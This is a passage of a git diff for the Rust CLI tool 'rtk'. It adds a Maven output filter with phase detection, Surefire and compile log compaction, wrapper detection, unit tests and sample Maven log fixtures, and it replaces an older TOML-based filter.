(?:SUCCESS|FAILURE)$").unwrap(); + + /// `[INFO] Results:` separator before the aggregate. + static ref RESULTS: Regex = Regex::new(r"^\[INFO\] Results:\s*$").unwrap(); + + /// Aggregate counts line (no `Time elapsed`, no ` - in `). + static ref AGG: Regex = Regex::new( + r"^\[(?:INFO|ERROR)\] Tests run: \d+, Failures: \d+, Errors: \d+, Skipped: \d+\s*$" + ).unwrap(); + + /// Plugin banner line: `[INFO] --- plugin:goal (id) @ module ---`. + static ref PLUGIN_BANNER: Regex = Regex::new(r"^\[INFO\] --- .* @ .* ---$").unwrap(); + + /// Module banner with project name in brackets. + static ref MODULE_BANNER: Regex = Regex::new(r"^\[INFO\] -+< .+ >-+$").unwrap(); + + /// Duration normaliser for deterministic snapshots. + static ref TIME_DURATION: Regex = Regex::new(r"Time elapsed: [0-9.]+ s").unwrap(); + + /// Total time line — also normalised. + static ref TOTAL_TIME: Regex = Regex::new(r"^\[INFO\] Total time:\s+[0-9.]+ s").unwrap(); + + /// Compile-error coordinate substring to strip when deduping warnings/errors. + static ref FILE_COORD: Regex = Regex::new(r"/[^:]+\.java:\[\d+,\d+\]").unwrap(); +} + +// ── Phase detection ───────────────────────────────────────────────────────── + +#[derive(Debug, PartialEq, Clone, Copy)] +pub enum MvnPhase { + Test, // test, integration-test (Failsafe = Surefire shape) + Compile, // compile, test-compile + Package, // package, install, verify, deploy + Passthrough, // clean, site, plugin goals, version/help, empty +} + +/// Scan args left-to-right, skip flags + `-D…` system props, pick the LAST +/// remaining token. If empty, plugin-form (`:`), or `clean`/`site` → Passthrough. +pub fn detect_phase(args: &[String]) -> MvnPhase { + let last = args + .iter() + .filter(|a| !a.starts_with('-')) + .map(|s| s.as_str()) + .next_back() + .unwrap_or(""); + + if last.is_empty() || last.contains(':') { + return MvnPhase::Passthrough; + } + match last { + "clean" | "site" | "site-deploy" => MvnPhase::Passthrough, + "test" | "integration-test" => MvnPhase::Test, + "compile" | "test-compile" => MvnPhase::Compile, + "package" | "install" | "verify" | "deploy" => MvnPhase::Package, + _ => MvnPhase::Passthrough, + } +} + +// ── Stack-frame deny-list ──────────────────────────────────────────────────── + +const FRAMEWORK_FRAME_PREFIXES: &[&str] = &[ + "at org.junit.", + "at junit.", + "at org.apache.maven.surefire.", + "at sun.reflect.", + "at jdk.internal.reflect.", + "at jdk.proxy", + "at java.base/", + "at java.lang.reflect.", + "at java.util.", +]; + +fn is_framework_frame(trimmed: &str) -> bool { + FRAMEWORK_FRAME_PREFIXES + .iter() + .any(|p| trimmed.starts_with(p)) +} + +// ── English-footer guard ──────────────────────────────────────────────────── + +fn has_english_footer(stripped: &str) -> bool { + stripped.lines().any(|l| { + let t = l.trim(); + t.ends_with(" BUILD SUCCESS") || t.ends_with(" BUILD FAILURE") + }) +} + +// ── Duration normaliser ───────────────────────────────────────────────────── + +fn normalise(s: &str) -> String { + let s = TIME_DURATION.replace_all(s, "Time elapsed: T s").into_owned(); + TOTAL_TIME + .replace_all(&s, "[INFO] Total time: T s") + .into_owned() +} + +// ── Outside-block keep list (shared by surefire + package) ────────────────── + +fn keep_outside_block(line: &str) -> bool { + RESULTS.is_match(line) + || AGG.is_match(line) + || BUILD_FOOT.is_match(line) + || MODULE_BANNER.is_match(line) + || line.starts_with("[INFO] Total time:") + || line.starts_with("[INFO] Finished at:") + || line.starts_with("[INFO] Building ") + || line.starts_with("[INFO] Scanning ") + || line.starts_with("[INFO] Installing ") + || line.starts_with("[ERROR] Failures:") + || line.starts_with("[ERROR] Errors:") + || (line.starts_with("[ERROR]") && !line.starts_with("[ERROR] Tests run:")) + || line.starts_with("[INFO] Building war:") + || line.starts_with("[INFO] Building jar:") + || line.starts_with("[INFO] Building ear:") +} + +// ── Surefire block filter ─────────────────────────────────────────────────── + +/// Buffered single-pass filter for `mvn test` / `mvn integration-test`. +/// +/// State machine: when a `[INFO] Running ` line is seen, start buffering +/// the block. When the close line arrives, decide: +/// - Failures == 0 && Errors == 0 → drop the block silently. +/// - Else → emit the block with framework frames stripped, durations normalised. +/// +/// English-footer guard: if no `BUILD SUCCESS`/`BUILD FAILURE` line is present, +/// return the ANSI-stripped raw input (non-English locale or truncated output). +pub fn filter_surefire(raw: &str) -> String { + let stripped = strip_ansi(raw); + if !has_english_footer(&stripped) { + return stripped; + } + + let mut out = String::new(); + let mut block_lines: Vec = Vec::new(); + let mut block_running: Option = None; + let mut in_block = false; + + for line in stripped.lines() { + if PLUGIN_BANNER.is_match(line) { + continue; + } + + if RUNNING.is_match(line) { + if in_block { + flush_block_as_keep(&mut out, &block_running, &block_lines); + } + block_lines.clear(); + block_running = Some(line.to_string()); + in_block = true; + continue; + } + + if in_block { + if let Some(caps) = CLOSE.captures(line) { + let fail = caps.get(1).map(|m| m.as_str() != "0").unwrap_or(false); + let err = caps.get(2).map(|m| m.as_str() != "0").unwrap_or(false); + if fail || err { + emit_block(&mut out, &block_running, &block_lines); + out.push_str(&normalise(line)); + out.push('\n'); + } + block_lines.clear(); + block_running = None; + in_block = false; + continue; + } + block_lines.push(line.to_string()); + continue; + } + + if keep_outside_block(line) { + out.push_str(&normalise(line)); + out.push('\n'); + } + } + + if in_block { + flush_block_as_keep(&mut out, &block_running, &block_lines); + } + out +} + +fn flush_block_as_keep(out: &mut String, running: &Option, lines: &[String]) { + if let Some(r) = running { + out.push_str(&normalise(r)); + out.push('\n'); + } + for l in lines { + out.push_str(&normalise(l)); + out.push('\n'); + } +} + +fn emit_block(out: &mut String, running: &Option, lines: &[String]) { + if let Some(r) = running { + out.push_str(&normalise(r)); + out.push('\n'); + } + for l in lines { + let t = l.trim_start(); + if t.starts_with("at ") && is_framework_frame(t) { + continue; + } + out.push_str(&normalise(l)); + out.push('\n'); + } +} + +// ── Compile filter ────────────────────────────────────────────────────────── + +/// Buffered single-pass filter for `mvn compile` / `test-compile`. +/// +/// Keeps module banners, `[INFO] Building …`, `[INFO] BUILD …`, totals, finish +/// time, scanning line, install lines, and `[ERROR]` blocks with indented +/// continuation (` symbol:`, ` ^`, ` required:`). Deduplicates `[WARNING]` +/// lines by normalised message (strip file coordinates). +pub fn filter_compile(raw: &str) -> String { + let stripped = strip_ansi(raw); + if !has_english_footer(&stripped) { + return stripped; + } + + let mut out = String::new(); + let mut keep_continuation = false; + let mut seen_warnings: HashSet = HashSet::new(); + + for line in stripped.lines() { + if MODULE_BANNER.is_match(line) { + out.push_str(line); + out.push('\n'); + keep_continuation = false; + continue; + } + if BUILD_FOOT.is_match(line) + || line.starts_with("[INFO] Building ") + || line.starts_with("[INFO] Total time:") + || line.starts_with("[INFO] Finished at:") + || line.starts_with("[INFO] Scanning ") + { + out.push_str(&normalise(line)); + out.push('\n'); + keep_continuation = false; + continue; + } + if line.starts_with("[ERROR]") { + out.push_str(line); + out.push('\n'); + keep_continuation = true; + continue; + } + if keep_continuation && (line.starts_with(' ') || line.starts_with('\t')) { + out.push_str(line); + out.push('\n'); + continue; + } + if line.starts_with("[WARNING]") { + let norm = FILE_COORD + .replace_all(&line["[WARNING] ".len().min(line.len())..], "") + .to_string(); + if seen_warnings.insert(norm) { + out.push_str(line); + out.push('\n'); + } + keep_continuation = false; + continue; + } + // Drop everything else + keep_continuation = false; + } + + out +} + +// ── Package filter ────────────────────────────────────────────────────────── + +/// Buffered single-pass filter for `mvn package`/`install`/`verify`/`deploy`. +/// +/// Mode toggle: starts in `Compile` mode, switches to `Surefire` when a +/// `[INFO] Running …` line is seen, switches back on `Tests run:` close. +/// Outside any Surefire block, applies the unified keep-list (compile keepers +/// + install/artifact lines). +pub fn filter_package(raw: &str) -> String { + let stripped = strip_ansi(raw); + if !has_english_footer(&stripped) { + return stripped; + } + + let mut out = String::new(); + let mut block_lines: Vec = Vec::new(); + let mut block_running: Option = None; + let mut in_block = false; + let mut keep_continuation = false; + let mut seen_warnings: HashSet = HashSet::new(); + + for line in stripped.lines() { + if PLUGIN_BANNER.is_match(line) { + continue; + } + + if RUNNING.is_match(line) { + if in_block { + flush_block_as_keep(&mut out, &block_running, &block_lines); + } + block_lines.clear(); + block_running = Some(line.to_string()); + in_block = true; + keep_continuation = false; + continue; + } + + if in_block { + if let Some(caps) = CLOSE.captures(line) { + let fail = caps.get(1).map(|m| m.as_str() != "0").unwrap_or(false); + let err = caps.get(2).map(|m| m.as_str() != "0").unwrap_or(false); + if fail || err { + emit_block(&mut out, &block_running, &block_lines); + out.push_str(&normalise(line)); + out.push('\n'); + } + block_lines.clear(); + block_running = None; + in_block = false; + continue; + } + block_lines.push(line.to_string()); + continue; + } + + // Outside any Surefire block: compile-keep AND surefire-outside-keep merge. + if MODULE_BANNER.is_match(line) || keep_outside_block(line) { + out.push_str(&normalise(line)); + out.push('\n'); + keep_continuation = line.starts_with("[ERROR]") + && !line.starts_with("[ERROR] Tests run:") + && !line.starts_with("[ERROR] Failures:") + && !line.starts_with("[ERROR] Errors:"); + continue; + } + if keep_continuation && (line.starts_with(' ') || line.starts_with('\t')) { + out.push_str(line); + out.push('\n'); + continue; + } + if line.starts_with("[WARNING]") { + let norm = FILE_COORD + .replace_all(&line["[WARNING] ".len().min(line.len())..], "") + .to_string(); + if seen_warnings.insert(norm) { + out.push_str(line); + out.push('\n'); + } + keep_continuation = false; + continue; + } + keep_continuation = false; + } + + if in_block { + flush_block_as_keep(&mut out, &block_running, &block_lines); + } + out +} + +// ── Wrapper detection ─────────────────────────────────────────────────────── + +fn mvn_binary() -> &'static str { + if cfg!(windows) { + if Path::new(".\\mvnw.cmd").exists() { + ".\\mvnw.cmd" + } else { + "mvn" + } + } else if Path::new("./mvnw").exists() { + "./mvnw" + } else { + "mvn" + } +} + +fn new_mvn_command(args: &[String]) -> Command { + let mut cmd = if cfg!(windows) { + if Path::new(".\\mvnw.cmd").exists() { + Command::new(".\\mvnw.cmd") + } else { + resolved_command("mvn") + } + } else if Path::new("./mvnw").exists() { + Command::new("./mvnw") + } else { + resolved_command("mvn") + }; + cmd.args(args); + cmd +} + +// ── Entry point ───────────────────────────────────────────────────────────── + +pub fn run(args: &[String], verbose: u8) -> Result { + // Verbose flags bypass filtering — user wants full output. + if args + .iter() + .any(|a| matches!(a.as_str(), "-X" | "--debug" | "-e" | "--errors")) + { + let osargs: Vec = args.iter().map(OsString::from).collect(); + return runner::run_passthrough(mvn_binary(), &osargs, verbose); + } + + let phase = detect_phase(args); + let tool = mvn_binary(); + let args_display = args.join(" "); + + match phase { + MvnPhase::Test => runner::run_filtered( + new_mvn_command(args), + tool, + &args_display, + filter_surefire, + RunOptions::with_tee("mvn_test"), + ), + MvnPhase::Compile => runner::run_filtered( + new_mvn_command(args), + tool, + &args_display, + filter_compile, + RunOptions::with_tee("mvn_compile"), + ), + MvnPhase::Package => runner::run_filtered( + new_mvn_command(args), + tool, + &args_display, + filter_package, + RunOptions::with_tee("mvn_package"), + ), + MvnPhase::Passthrough => { + let osargs: Vec = args.iter().map(OsString::from).collect(); + runner::run_passthrough(tool, &osargs, verbose) + } + } +} + +// ── Tests ─────────────────────────────────────────────────────────────────── + +#[cfg(test)] +mod tests { + use super::*; + use flate2::read::GzDecoder; + use std::io::Read; + + fn count_tokens(s: &str) -> usize { + s.split_whitespace().count() + } + + fn gunzip(bytes: &[u8]) -> String { + let mut s = String::new(); + GzDecoder::new(bytes) + .read_to_string(&mut s) + .expect("gunzip"); + s + } + + fn s>(it: impl IntoIterator) -> Vec { + it.into_iter().map(Into::into).collect() + } + + // ── Phase detection ────────────────────────────────────────────────────── + + #[test] + fn phase_test() { + assert_eq!(detect_phase(&s(["test"])), MvnPhase::Test); + } + #[test] + fn phase_integration_test() { + assert_eq!(detect_phase(&s(["integration-test"])), MvnPhase::Test); + } + #[test] + fn phase_compile() { + assert_eq!(detect_phase(&s(["compile"])), MvnPhase::Compile); + } + #[test] + fn phase_test_compile() { + assert_eq!(detect_phase(&s(["test-compile"])), MvnPhase::Compile); + } + #[test] + fn phase_install() { + assert_eq!(detect_phase(&s(["install"])), MvnPhase::Package); + } + #[test] + fn phase_package() { + assert_eq!(detect_phase(&s(["package"])), MvnPhase::Package); + } + #[test] + fn phase_verify() { + assert_eq!(detect_phase(&s(["verify"])), MvnPhase::Package); + } + #[test] + fn phase_deploy() { + assert_eq!(detect_phase(&s(["deploy"])), MvnPhase::Package); + } + #[test] + fn phase_clean_install_is_pkg() { + assert_eq!(detect_phase(&s(["clean", "install"])), MvnPhase::Package); + } + #[test] + fn phase_flags_before_goal() { + assert_eq!( + detect_phase(&s(["-B", "-DskipTests", "test"])), + MvnPhase::Test + ); + } + #[test] + fn phase_clean_only_passthrough() { + assert_eq!(detect_phase(&s(["clean"])), MvnPhase::Passthrough); + } + #[test] + fn phase_site_passthrough() { + assert_eq!(detect_phase(&s(["site"])), MvnPhase::Passthrough); + } + #[test] + fn phase_plugin_goal_passthrough() { + assert_eq!( + detect_phase(&s(["dependency:tree"])), + MvnPhase::Passthrough + ); + } + #[test] + fn phase_empty_passthrough() { + let v: Vec = Vec::new(); + assert_eq!(detect_phase(&v), MvnPhase::Passthrough); + } + #[test] + fn phase_version_long() { + assert_eq!(detect_phase(&s(["--version"])), MvnPhase::Passthrough); + } + #[test] + fn phase_version_short() { + assert_eq!(detect_phase(&s(["-v"])), MvnPhase::Passthrough); + } + #[test] + fn phase_version_java_style() { + assert_eq!(detect_phase(&s(["-version"])), MvnPhase::Passthrough); + } + #[test] + fn phase_help() { + assert_eq!(detect_phase(&s(["--help"])), MvnPhase::Passthrough); + } + + // ── Surefire filter ────────────────────────────────────────────────────── + + #[test] + fn filter_surefire_pass_output_compact() { + let i = include_str!("../../../tests/fixtures/mvn_test_pass_slice_raw.txt"); + let o = filter_surefire(i); + // Passing fixture has 2 blocks; both should be dropped. + assert!(!o.contains("FooService.execute")); + assert!(!o.contains("ConsultarCidadeUseCaseTest")); + // Output should be a small fraction of input. + let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); + assert!( + savings >= 60.0, + "pass-fixture savings >=60%, got {:.1}%", + savings + ); + } + + #[test] + fn filter_surefire_fail_keeps_signal() { + let i = include_str!("../../../tests/fixtures/mvn_test_fail_slice_raw.txt"); + let o = filter_surefire(i); + assert!(o.contains("BUILD FAILURE")); + assert!(o.contains("Failures: 1")); + } + + #[test] + fn surefire_drops_passing_block() { + let i = include_str!("../../../tests/fixtures/mvn_test_pass_slice_raw.txt"); + let o = filter_surefire(i); + assert!( + !o.contains("at org.junit."), + "framework frames stripped; got:\n{}", + o + ); + assert!( + !o.contains("AppException: input must not be null"), + "passing-test stack dropped; got:\n{}", + o + ); + assert!( + o.contains("BUILD SUCCESS"), + "footer preserved; got:\n{}", + o + ); + assert!( + o.contains("Tests run: 10, Failures: 0"), + "aggregate preserved; got:\n{}", + o + ); + } + + #[test] + fn surefire_preserves_failing_signal() { + let i = include_str!("../../../tests/fixtures/mvn_test_fail_slice_raw.txt"); + let o = filter_surefire(i); + assert!( + o.contains("Failures: 1"), + "failing aggregate preserved; got:\n{}", + o + ); + assert!( + o.contains("AssertionFailedError"), + "exception class preserved; got:\n{}", + o + ); + assert!( + o.contains("at com.example."), + "user-code frame preserved; got:\n{}", + o + ); + assert!( + !o.contains("at org.junit."), + "framework frames stripped in failing block; got:\n{}", + o + ); + } + + #[test] + fn surefire_keeps_module_banner() { + let i = "[INFO] Scanning for projects...\n[INFO] -----< com.example:myapp >-----\n[INFO] BUILD SUCCESS\n"; + let o = filter_surefire(i); + assert!(o.contains("-----< com.example:myapp >-----")); + } + + #[test] + fn surefire_normalises_durations() { + let i = "[INFO] -----< x >-----\n[INFO] Running x.Foo\n[ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 2.341 s <<< FAILURE! - in x.Foo\n[INFO] BUILD FAILURE\n"; + let o = filter_surefire(i); + assert!( + o.contains("Time elapsed: T s"), + "duration normalised; got:\n{}", + o + ); + assert!(!o.contains("2.341"), "raw duration removed; got:\n{}", o); + } + + #[test] + fn footer_guard_french_passthrough() { + let i = include_str!("../../../tests/fixtures/mvn_locale_fr_raw.txt"); + let o = filter_surefire(i); + assert!( + o.contains("BUILD ÉCHEC"), + "footer-guard must pass through non-English output; got:\n{}", + o + ); + // Confirm we did NOT filter — input length preserved (modulo ANSI strip, which is a no-op here) + assert_eq!( + o.lines().count(), + i.lines().count(), + "footer-guard returns raw input" + ); + } + + #[test] + fn footer_guard_no_pom_passthrough() { + let i = include_str!("../../../tests/fixtures/mvn_no_pom_raw.txt"); + let o = filter_surefire(i); + // No BUILD footer → passthrough; user sees the `[ERROR] no POM` line. + assert!( + o.contains("there is no POM"), + "no-pom error preserved; got:\n{}", + o + ); + } + + // ── Compile filter ─────────────────────────────────────────────────────── + + #[test] + fn filter_compile_error_compact() { + let i = include_str!("../../../tests/fixtures/mvn_compile_error_slice_raw.txt"); + let o = filter_compile(i); + let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); + assert!( + savings >= 30.0, + "compile-error fixture is small; >=30% savings, got {:.1}%", + savings + ); + } + + #[test] + fn compile_preserves_error_continuation() { + let i = include_str!("../../../tests/fixtures/mvn_compile_error_slice_raw.txt"); + let o = filter_compile(i); + assert!(o.contains("cannot find symbol"), "ERROR line preserved"); + assert!( + o.contains("symbol: variable bar"), + "indented continuation preserved" + ); + assert!(o.contains("BUILD FAILURE"), "footer preserved"); + } + + #[test] + fn compile_dedupes_warnings() { + let i = "[INFO] -----< x >-----\n\ + [WARNING] /a.java:[1,2] uses deprecated API\n\ + [WARNING] /b.java:[3,4] uses deprecated API\n\ + [WARNING] /a.java:[5,6] unchecked cast\n\ + [INFO] BUILD SUCCESS\n"; + let o = filter_compile(i); + let warns = o.matches("[WARNING]").count(); + assert_eq!(warns, 2, "dedup by normalised message; got:\n{}", o); + } + + // ── Package filter ─────────────────────────────────────────────────────── + + #[test] + fn filter_package_install_compact() { + let i = include_str!("../../../tests/fixtures/mvn_install_slice_raw.txt"); + let o = filter_package(i); + let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); + assert!( + savings >= 50.0, + "install-slice savings >=50%, got {:.1}%", + savings + ); + } + + #[test] + fn package_keeps_install_lines() { + let i = include_str!("../../../tests/fixtures/mvn_install_slice_raw.txt"); + let o = filter_package(i); + assert!( + o.contains("Installing"), + "install line preserved; got:\n{}", + o + ); + assert!( + o.contains("Building jar:"), + "jar line preserved; got:\n{}", + o + ); + assert!( + !o.contains("at org.junit."), + "framework frames stripped; got:\n{}", + o + ); + } + + // ── Token-savings (FULL gzipped fixtures) ─────────────────────────────── + + #[test] + fn savings_mvn_test_pass_full() { + let bytes = include_bytes!("../../../tests/fixtures/mvn_test_pass_full_raw.txt.gz"); + let i = gunzip(bytes); + let o = filter_surefire(&i); + let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(&i) as f64 * 100.0); + assert!( + savings >= 90.0, + "mvn test ≥90% savings on full fixture, got {:.1}% (raw={} tok, filtered={} tok)", + savings, + count_tokens(&i), + count_tokens(&o) + ); + } + + #[test] + fn savings_mvn_install_full() { + let bytes = include_bytes!("../../../tests/fixtures/mvn_install_full_raw.txt.gz"); + let i = gunzip(bytes); + let o = filter_package(&i); + let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(&i) as f64 * 100.0); + assert!( + savings >= 85.0, + "mvn install ≥85% savings on full fixture, got {:.1}% (raw={} tok, filtered={} tok)", + savings, + count_tokens(&i), + count_tokens(&o) + ); + } +} diff --git a/src/core/toml_filter.rs b/src/core/toml_filter.rs index 06060d22df..74b61026d5 100644 --- a/src/core/toml_filter.rs +++ b/src/core/toml_filter.rs @@ -1582,7 +1582,6 @@ match_command = "^make\\b" "markdownlint", "mix-compile", "mix-format", - "mvn-build", "ping", "pio-run", "poetry-install", @@ -1621,8 +1620,8 @@ match_command = "^make\\b" let filters = make_filters(BUILTIN_TOML); assert_eq!( filters.len(), - 59, - "Expected exactly 59 built-in filters, got {}. \ + 58, + "Expected exactly 58 built-in filters, got {}. \ Update this count when adding/removing filters in src/filters/.", filters.len() ); @@ -1679,11 +1678,11 @@ expected = "output line 1\noutput line 2" let combined = format!("{}\n\n{}", BUILTIN_TOML, new_filter); let filters = make_filters(&combined); - // All 59 existing filters still present + 1 new = 60 + // All 58 existing filters still present + 1 new = 59 assert_eq!( filters.len(), - 60, - "Expected 60 filters after concat (59 built-in + 1 new)" + 59, + "Expected 59 filters after concat (58 built-in + 1 new)" ); // New filter is discoverable diff --git a/src/discover/registry.rs b/src/discover/registry.rs index bb7b11f2a4..bebcbb22cf 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -3072,6 +3072,135 @@ mod tests { ); } + // --- Maven --- + + #[test] + fn test_classify_mvn_test() { + assert!(matches!( + classify_command("mvn test"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvn_integration_test() { + assert!(matches!( + classify_command("mvn integration-test"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvn_flags_before_goal() { + assert!(matches!( + classify_command("mvn -B -DskipTests=false clean install"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvnw_wrapper() { + assert!(matches!( + classify_command("./mvnw verify"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvnw_cmd_wrapper() { + assert!(matches!( + classify_command("mvnw.cmd package"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvn_clean_bypassed() { + // `clean` deliberately excluded from the alternation to avoid 0-overhead fork. + assert!(!matches!( + classify_command("mvn clean"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvn_site_bypassed() { + assert!(!matches!( + classify_command("mvn site"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvn_plugin_goal_bypassed() { + assert!(!matches!( + classify_command("mvn dependency:tree"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvn_bare_bypassed() { + assert!(!matches!( + classify_command("mvn"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_classify_mvn_version_bypassed() { + assert!(!matches!( + classify_command("mvn --version"), + Classification::Supported { + rtk_equivalent: "rtk mvn", + .. + } + )); + } + + #[test] + fn test_rewrite_mvn_clean_install() { + assert_eq!( + rewrite_command_no_prefixes("mvn -B clean install", &[]), + Some("rtk mvn -B clean install".into()) + ); + } + + #[test] + fn test_rewrite_mvnw_test() { + assert_eq!( + rewrite_command_no_prefixes("./mvnw test", &[]), + Some("rtk mvn test".into()) + ); + } + // --- Compound operator edge cases --- #[test] diff --git a/src/discover/rules.rs b/src/discover/rules.rs index df7c72d03e..6bb5741c8e 100644 --- a/src/discover/rules.rs +++ b/src/discover/rules.rs @@ -690,11 +690,11 @@ pub const RULES: &[RtkRule] = &[ subcmd_status: &[], }, RtkRule { - pattern: r"^mvn\s+(compile|package|clean|install)\b", + pattern: r"^(?:\./mvnw|mvnw\.cmd|mvnw|mvn)\b(?:\s+\S+)*?\s+(compile|test|integration-test|package|install|verify|deploy)\b", rtk_cmd: "rtk mvn", - rewrite_prefixes: &["mvn"], + rewrite_prefixes: &["./mvnw", "mvnw.cmd", "mvnw", "mvn"], category: "Build", - savings_pct: 70.0, + savings_pct: 82.0, subcmd_savings: &[], subcmd_status: &[], }, diff --git a/src/filters/mvn-build.toml b/src/filters/mvn-build.toml deleted file mode 100644 index 430a7f0cd9..0000000000 --- a/src/filters/mvn-build.toml +++ /dev/null @@ -1,44 +0,0 @@ -[filters.mvn-build] -description = "Compact Maven build output" -match_command = "^mvn\\s+(compile|package|clean|install)\\b" -strip_ansi = true -strip_lines_matching = [ - "^\\[INFO\\] ---", - "^\\[INFO\\] Building\\s", - "^\\[INFO\\] Downloading\\s", - "^\\[INFO\\] Downloaded\\s", - "^\\[INFO\\]\\s*$", - "^\\s*$", - "^Downloading:", - "^Downloaded:", - "^Progress", -] -max_lines = 50 -on_empty = "mvn: ok" - -[[tests.mvn-build]] -name = "strips INFO noise, preserves errors and summary" -input = """ -[INFO] --- -[INFO] Building myapp 1.0-SNAPSHOT -[INFO] Downloading org.apache.maven.plugins:maven-compiler-plugin:3.11.0 -[INFO] Downloaded org.apache.maven.plugins:maven-compiler-plugin:3.11.0 -[INFO] -[ERROR] /src/main/java/Main.java:[10,5] cannot find symbol - symbol: method foo() -[INFO] BUILD FAILURE -[INFO] Total time: 2.543 s -""" -expected = "[ERROR] /src/main/java/Main.java:[10,5] cannot find symbol\n symbol: method foo()\n[INFO] BUILD FAILURE\n[INFO] Total time: 2.543 s" - -[[tests.mvn-build]] -name = "successful build keeps BUILD SUCCESS line" -input = """ -[INFO] --- -[INFO] Building myapp 1.0-SNAPSHOT -[INFO] -[INFO] BUILD SUCCESS -[INFO] Total time: 4.123 s -[INFO] Finished at: 2024-01-15T10:30:00Z -""" -expected = "[INFO] BUILD SUCCESS\n[INFO] Total time: 4.123 s\n[INFO] Finished at: 2024-01-15T10:30:00Z" diff --git a/src/main.rs b/src/main.rs index 25c70dcb06..533e999c4b 100644 --- a/src/main.rs +++ b/src/main.rs @@ -15,7 +15,7 @@ use cmds::js::{ lint_cmd, next_cmd, npm_cmd, playwright_cmd, pnpm_cmd, prettier_cmd, prisma_cmd, tsc_cmd, vitest_cmd, }; -use cmds::jvm::gradlew_cmd; +use cmds::jvm::{gradlew_cmd, mvn_cmd}; use cmds::python::{mypy_cmd, pip_cmd, pytest_cmd, ruff_cmd}; use cmds::ruby::{rake_cmd, rspec_cmd, rubocop_cmd}; use cmds::rust::{cargo_cmd, runner}; @@ -735,6 +735,14 @@ enum Commands { args: Vec, }, + /// Apache Maven wrapper with compact output (test, integration-test, compile, package, install, verify, deploy) + #[command(name = "mvn")] + Mvn { + /// Maven goals and arguments (e.g., clean install, -DskipTests test, -X) + #[arg(trailing_var_arg = true, allow_hyphen_values = true)] + args: Vec, + }, + /// Show hook rewrite audit metrics (requires RTK_HOOK_AUDIT=1) #[command(name = "hook-audit")] HookAudit { @@ -2147,6 +2155,8 @@ fn run_cli() -> Result { Commands::Gradlew { args } => gradlew_cmd::run(&args, cli.verbose)?, + Commands::Mvn { args } => mvn_cmd::run(&args, cli.verbose)?, + Commands::HookAudit { since } => { hooks::hook_audit_cmd::run(since, cli.verbose)?; 0 diff --git a/tests/fixtures/mvn_clean_raw.txt b/tests/fixtures/mvn_clean_raw.txt new file mode 100644 index 0000000000..1cdcecbe18 --- /dev/null +++ b/tests/fixtures/mvn_clean_raw.txt @@ -0,0 +1,15 @@ +[INFO] Scanning for projects... +[INFO] +[INFO] -----------------------< com.example:myapp >------------------------ +[INFO] Building myapp 1.0.0 +[INFO] from pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- clean:3.2.0:clean (default-clean) @ myapp --- +[INFO] Deleting /path/to/project/target +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD SUCCESS +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 0.853 s +[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] ------------------------------------------------------------------------ diff --git a/tests/fixtures/mvn_compile_error_slice_raw.txt b/tests/fixtures/mvn_compile_error_slice_raw.txt new file mode 100644 index 0000000000..73119425fe --- /dev/null +++ b/tests/fixtures/mvn_compile_error_slice_raw.txt @@ -0,0 +1,25 @@ +[INFO] Scanning for projects... +[INFO] +[INFO] -----------------------< com.example:myapp >------------------------ +[INFO] Building myapp 1.0.0 +[INFO] from pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- compiler:3.8.1:compile (default-compile) @ myapp --- +[INFO] Changes detected - recompiling the module! +[INFO] Compiling 12 source files to /path/to/project/target/classes +[INFO] ------------------------------------------------------------- +[ERROR] COMPILATION ERROR : +[INFO] ------------------------------------------------------------- +[ERROR] /path/to/project/src/main/java/com/example/app/Foo.java:[42,5] cannot find symbol + symbol: variable bar + location: class Foo +[ERROR] /path/to/project/src/main/java/com/example/app/Bar.java:[10,5] ';' expected +[INFO] 2 errors +[INFO] ------------------------------------------------------------- +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD FAILURE +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 4.567 s +[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] ------------------------------------------------------------------------ diff --git a/tests/fixtures/mvn_install_full_raw.txt.gz b/tests/fixtures/mvn_install_full_raw.txt.gz new file mode 100644 index 0000000000000000000000000000000000000000..97e62cccb632002de8bf4a416b33ac6f200ea3a2 GIT binary patch literal 3456 zcma)7cT|(-8gEs!O^ftug9_5LO4WWc95E;es5B}n_G&k~6q=fj9ZqtJ_?pNvUJ0lhzKKbq(g+4ZLlVvhrjv)NwR6|T5mM*a;` z3DcV5Oi;wF%Y3c9=K+qPoQX_~IhYYC-T%^D5ngscIUTe4_Q!_u+sW(EsAi{9K;c7AwPY4q>wwxgUuJ*#Zo;)`7_3RL>066YU#sBY6m z3AG5-WlWV+9 zMFxM?T8=9}*lt;ShJ8<(<+^miXK}PRV>Y3pmghB{Jo~{i9o6SiyQHw0O1YZ9q+|Xg zm93?e)D)D>R4rj}%E=qoDXB(Y#xAf)1DQoXJR@}9OTET2xYKZ^An81uv<*lenyh0l zZ6zo-%ZCiS|<UpeiQ(|Aa9K4G9A_9;IE*eMJ-1m$u@Bb>rW;>a#}r 